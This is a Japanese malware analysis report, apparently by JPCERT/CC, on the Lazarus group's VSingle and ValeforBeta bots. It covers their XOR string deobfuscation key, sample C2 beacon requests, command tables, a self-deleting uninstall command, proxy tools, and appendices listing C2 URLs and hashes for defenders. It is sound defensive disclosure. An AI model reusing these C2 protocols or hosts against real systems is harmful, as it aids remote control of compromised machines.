日本の組織を狙った攻撃グループLazarusによる攻撃オペレーション
これまでJPCERT/CC Eyesでは、攻撃グループLazarus(Hidden Cobraとも言われる)が攻撃時に使用するマルウェアやツールを、数回に分けて紹介してきましたが、この攻撃グループによる攻撃オペレーションは他にも確認されています。今回は、国内で確認した攻撃グループLazarusの攻撃オペレーションで使用されたマルウェア(VSingle、ValeforBeta)、および侵入したネットワーク内部で使用したツールを紹介します。
VSingleの概要
VSingleは、リモートから任意のコードを実行する機能を持ったHTTPボットです。このマルウェアは、その他にプラグインをダウンロードして実行する機能なども持っています。
このマルウェアは起動後、Explorerを実行し、通信などを行うメインのコードをDLLインジェクションしたうえで、実行します(DLLインジェクションを行わない検体も確認されています)。なお、メインコード内には、以下のPDBパスが含まれていることを確認しています。
G:\Valefor\Valefor_Single\Release\VSingle.pdb
以降では、VSingleの文字列難読化、通信方式および機能について記載します。
VSingleの文字列難読化
VSingleは、検体内で使用する文字列の多くを難読化しています。図1は、文字列難読化を解除するコードです。固定のキー(o2pq0qy4ymcrbe4s)を使用して、XORによって難読化された文字列をデコードします。
以下に、難読化解除後の文字列の一部を示します。
[+] Download Parameter Error [+] Download Result [+] Upload Result [+] Upload Parameter Error [+] Interval Interval was set to [+] Plugin Download Result [+] Update [+] Info [+] Uninstall Valefor was uninstalled successfully. [+] Executable Download Result [+] Executable Download Parameter Error ufw=%s&uis=%u cmd.exe /c %s [%02d-%02d-%04d %02d:%02d:%02d] [+] Plugin Execute Result
VSingleのC2サーバーとの通信
以下は、VSingleが初めに送信するHTTP GETリクエストの例です。
GET /polo/[Unix time]/[ランダムな文字列].php?ufw=[Base64データ]&uis=[ユニークID] HTTP/1.1 Host: maturicafe.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729) Accept: text/html3,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
[Base64データ]には、"[IPアドレス]|[Windowsバージョン番号]|[バージョン]"をBase64エンコードしたデータが含まれています。このリクエストのレスポンスとしてサーバーからは、AES暗号化されたデータがダウンロードされます。暗号化に使用された暗号化キーは、サーバーからのレスポンスのSet-Cookieヘッダーに指定されています。レスポンスデータ内には、コマンドが含まれています。
なお、VSingleは認証プロキシ(Basic認証)にも対応しており、マルウェア内にプロキシ情報が設定されている場合は、以下のような通信を行い、プロキシ環境下でも外部と通信を行うことができます。
GET https://maturicafe.com/polo/[Unix time]/[ランダムな文字列].php?ufw=[Base64データ]&uis=[ユニークID] HTTP/1.1 Host: maturicafe.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729) Proxy-Connection: keep-alive Proxy-Authorization: Basic [認証情報] Pragma: no-cache Cache-Control: no-cache
VSingleの機能
VSingleの機能はシンプルで、表1のとおり8つしかありません。
コマンド番号 | 内容 |
1 | ファイルのアップロード |
2 | 通信インターバルの設定 |
3 | 任意のシェルコマンド実行 |
4 | プラグインのダウンロード・実行 |
5 | アップデート |
6 | マルウェア情報送信 |
7 | アンインストール |
8 | ファイルのダウンロード |
実行可能なプラグインは、以下の4種類あります。
- Windows実行ファイル(.tmpファイルとして保存される)
- VBSファイル(.vbsファイルとして保存される)
- BATファイル(.batファイルとして保存される)
- シェルコード形式
図2にプラグインを実行するコードの一部を示します。
シェルコード形式のプラグインに関しては、メモリ上で展開し、実行されます。それ以外のプラグインは、%TEMP%フォルダーに一時的に保存されて実行されます。なお、シェルコード形式のプラグインに関しても、一時ファイルとして%TEMP%フォルダーに保存されます。
マルウェア情報送信コマンド(コマンド番号6)の際には、図3のような情報が送信されます。バーション情報には、1.0.1以外にも4.1.1や3.0.1などが使用された検体も確認しており、マルウェアのバージョンではなく、何らかの検体識別子の可能性があります。
ValeforBetaの概要
ValeforBetaは、Delphiで作成されたHTTPボットで、VSingleよりもさらに機能を削減されており、リモートから任意のコードを実行する機能以外には、ファイルのアップロード・ダウンロードの機能くらいしかありません。
以降では、ValeforBetaの設定情報、通信方式および機能について記載します。
ValeforBetaの設定情報
図4は、ValeforBetaの設定情報をロードするコードです。設定情報には、通信先以外にも、検体ID(図4の"512")や通信タイプ、通信のインターバルなどが含まれています。
通信タイプは、以下の3種類存在します。
- ダイレクト接続(INTERNET_OPEN_TYPE_DIRECT)
- 既定の設定を使用(INTERNET_OPEN_TYPE_PRECONFIG)
- プロキシ経由で接続(INTERNET_OPEN_TYPE_PROXY)
ValeforBetaのC2サーバーとの通信
以下は、ValeforBetaが初めに送信するHTTP POSTリクエストの例です。
POST /doc/total.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Cookie: JSESSIONID=[Base64 データ] User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3) Host: 3.90.97.16 Content-Length: 0 Proxy-Connection: Keep-Alive Pragma: no-cache
HTTP POSTリクエストではありますが、初めに送信するHTTP POSTリクエストに、送信データは含まれていません。Cookieヘッダーの、"JSESSIONID=" 以降のBase64エンコードされたデータには、感染ホストの情報が含まれています。以下が、Base64エンコードされたデータのフォーマットです。
[8文字のランダムな文字][データ][ランダムな文字(4~12文字)]
[データ]には、マルウェアのバージョン情報や感染ホストのIPアドレスなどが含まれています(詳しくは、Appendix Aをご覧ください(リクエストタイプ"0"))。このHTTP POSTリクエストに対して、サーバーから"200 OK"が返ってきた場合、次のリクエストを送信します(リクエストタイプ"1")。
サーバーからは、その後、コマンドを含むデータが送信されます。コマンド実行結果は、HTTP POSTデータとして送信されますが、BMPファイルの送信に偽装しながら送信されます。図5は、コマンド実行結果を送信するコードの一部です。
ValeforBetaの機能
ValeforBetaの機能は、表2のとおり6つしかありません。
コマンド番号 | 内容 |
1 | ファイルのダウンロード |
2 | ファイルのアップロード |
3 | 任意のシェルコマンド実行 |
4 | アンインストール(cmd /c ping -n 4 127.0.0.1 >NUL & echo VFB > "自ファイル名" を実行) |
6 | Sleep Timeの設定 |
7 | システム情報の送信 |
コマンド実行結果については、XORエンコードした上で送信されます。図6は、"システム情報の送信" コマンドを実行した際に送信されたデータをデコードした例です。
ネットワーク内部で使用するツール
この攻撃オペレーションでは、以下のツールを使用していることを確認しています。攻撃者は、感染ホスト上で、通信の中継を行うために、以下のようなツール使用していました。
- 3Proxy
- Stunnel
- Plink
おわりに
今回は、攻撃グループLazarusが日本をターゲットとした攻撃オペレーション時に使用したマルウェアおよびツールについて紹介しました。新たなマルウェアが確認された際は、レポートしたいと思います。 なお、今回解説した検体の通信先に関しては、Appendix Bに記載していますので、アクセスしている端末がないかご確認ください。
インシデントレスポンスグループ 朝長 秀誠
Appendix A: 設定情報
オフセット | 長さ | 内容 |
0x00 | 1 | リクエストタイプ(0: クライアントデータ送信、1: コマンドリクエスト、2: コマンド実行結果送信) |
0x01 | 4 | クライアントID(ホスト名、ユーザー名、OSインストール日時、MACアドレスの値から作成した値) |
0x05 | 3 | マルウェアバージョン |
0x08 | 4 | IPアドレス |
0x0C | 3 | OSバージョン |
※ 0x05以降のデータは、XORエンコードされており、リクエストタイプ"0"の場合のみ追加される。
Appendix B: 通信先
- http://aquagoat.com/customer
- http://blacktiger.com/input
- http://bluedog.com/submit
- http://coraltiger.com/search
- http://goldtiger.com/find
- http://greentiger.com/submit
- http://industryarticleboard.com/evolution
- http://industryarticleboard.com/view
- http://maturicafe.com/main
- http://purplefrog.com/remove
- http://whitedragon.com/search
- https://coralcameleon.com/register
- https://industryarticleboard.com/article
- https://maturicafe.com/polo
- https://salmonrabbit.com/login
- https://whitecameleon.com/find
- https://whiterabbit.com/input
- http://toysbagonline.com/reviews
- http://purewatertokyo.com/list
- http://pinkgoat.com/input
- http://yellowlion.com/remove
- http://salmonrabbit.com/find
- http://bluecow.com/input
- http://www.karin-store.com/data/config/total_manager.php
- http://katawaku.jp/bbs/data/group/group-manager.php
- http://3.90.97.16/doc/total.php
Appendix C: マルウェアのハッシュ値
- 487c1bdb65634a794fa5e359c383c94945ce9f0806fcad46440e919ba0e6166e
- eb846bb491bea698b99eab80d58fd1f2530b0c1ee5588f7ea02ce0ce209ddb60